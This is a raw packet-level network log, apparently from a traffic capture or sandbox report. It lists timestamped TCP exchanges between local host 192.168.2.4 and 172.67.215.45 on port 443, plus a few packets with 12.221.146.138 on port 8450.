May 1, 2024 08:37:52.548067093 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548116922 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548121929 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548154116 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548305988 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548320055 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548391104 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548391104 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548398018 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548850060 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548885107 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548913002 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548919916 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548943996 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548999071 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549026966 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549052000 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.549057961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549088955 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.549088955 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.549213886 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549227953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549314976 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.549319983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549612999 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549645901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549671888 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.549676895 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549696922 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.549943924 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.549964905 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550003052 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550007105 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550074100 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550199986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550213099 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550277948 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550277948 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550282955 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550530910 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550559044 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550587893 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550594091 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550615072 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550683975 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550715923 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550734997 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.550740004 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.550764084 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551223993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551251888 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551273108 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551279068 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551307917 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551388025 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551409960 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551470041 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551470041 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551475048 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551686049 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551700115 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551738977 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551747084 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.551785946 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.551976919 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552009106 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552061081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552061081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552066088 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552383900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552409887 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552431107 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552436113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552459002 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552647114 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552670002 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552711010 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552716017 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552737951 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552809000 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552824020 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552862883 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.552867889 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.552890062 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.553030968 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.553072929 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.553096056 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.553102970 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.553123951 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.553222895 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.553292036 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.553328037 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.553347111 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.553956985 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.553985119 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554059029 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.554059029 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.554064989 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554563999 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554596901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554660082 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.554666042 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554696083 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554722071 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.554752111 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.554755926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.555008888 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.555468082 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.555499077 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.555531979 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.555537939 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.555572987 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.556261063 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.556288958 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.556333065 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.556341887 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.556363106 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.556423903 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.556457043 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.556462049 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.556477070 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.556524038 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.557229042 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.557260990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.557305098 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.557312012 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.557341099 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.557506084 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.557538033 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.557570934 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.557575941 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.557600975 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.558341026 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.558370113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.558386087 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.558392048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.558418989 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559077978 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559117079 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559134960 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559144020 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559170961 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559511900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559541941 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559571028 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559576035 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559602976 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559725046 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559796095 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559825897 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559860945 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559866905 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.559878111 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.559986115 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.560563087 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.560597897 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.560626984 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.560631990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.560651064 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.561304092 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.561342001 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.561350107 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.561377048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.561408043 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.561624050 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.561655045 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.561682940 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.561688900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.561721087 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.562285900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.562334061 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.562365055 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.562370062 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.562397003 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.562777042 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.562807083 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.562839031 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.562844038 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.562875032 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.563193083 CEST	49743	8450	192.168.2.4	12.221.146.138
May 1, 2024 08:37:52.563561916 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.563600063 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.563622952 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.563628912 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.563652992 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.563925982 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.563955069 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.563976049 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.563981056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564006090 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.564538002 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564579010 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564611912 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.564618111 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564651966 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.564883947 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564913034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564946890 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.564951897 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.564980984 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.565248966 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.565695047 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.565741062 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.565771103 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.565776110 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.565799952 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.566400051 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.566432953 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.566467047 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.566473961 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.566489935 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.566631079 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.566668987 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.566704035 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.566711903 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.566730976 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.567378998 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.567414045 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.567435980 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.567440987 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.567466974 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.567555904 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.567590952 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.567609072 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.567614079 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.567650080 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.568701029 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.568736076 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.568763018 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.568769932 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.568794966 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.568866014 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.568900108 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.568917990 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.568922997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.568945885 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.568969011 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.569600105 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.569617033 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.569662094 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.569667101 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.569685936 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.569699049 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.569710016 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.569722891 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.569737911 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.569753885 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.570620060 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.570638895 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.570679903 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.570683956 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.570713997 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.570802927 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.570823908 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.570852995 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.570857048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.570878983 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.571563959 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.571582079 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.571624994 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.571630001 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.571875095 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.571897030 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.571926117 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.571929932 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.571949959 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.572791100 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.572809935 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.572853088 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.572858095 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.572879076 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.572928905 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.572951078 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.572977066 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.572981119 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.573012114 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.573774099 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.573791981 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.573846102 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.573851109 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.573867083 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.573941946 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.573962927 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.573987961 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.573992968 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.574027061 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.574774981 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.574795008 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.574826956 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.574831963 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.574876070 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.575488091 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.575510979 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.575551033 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.575555086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.575577021 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.575706959 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.575721025 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.575769901 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.575773954 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576431036 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576455116 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576483965 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.576495886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576517105 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.576745987 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576760054 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576796055 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.576800108 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.576818943 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.577610016 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.577632904 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.577675104 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.577681065 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.577696085 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.577899933 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.577914953 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.577956915 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.577960968 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.577982903 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.578524113 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.578547955 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.578569889 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.578573942 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.578603029 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.578833103 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.578846931 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.578886032 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.578891993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.578932047 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.579622984 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579673052 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579682112 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.579685926 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579757929 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.579799891 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579832077 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579860926 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.579864025 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579880953 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.579902887 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.579937935 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.586967945 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.892225027 CEST	8450	49743	12.221.146.138	192.168.2.4
May 1, 2024 08:37:53.504499912 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:53.504548073 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:53.505117893 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:53.505369902 CEST	49752	443	192.168.2.4	172.67.215.45
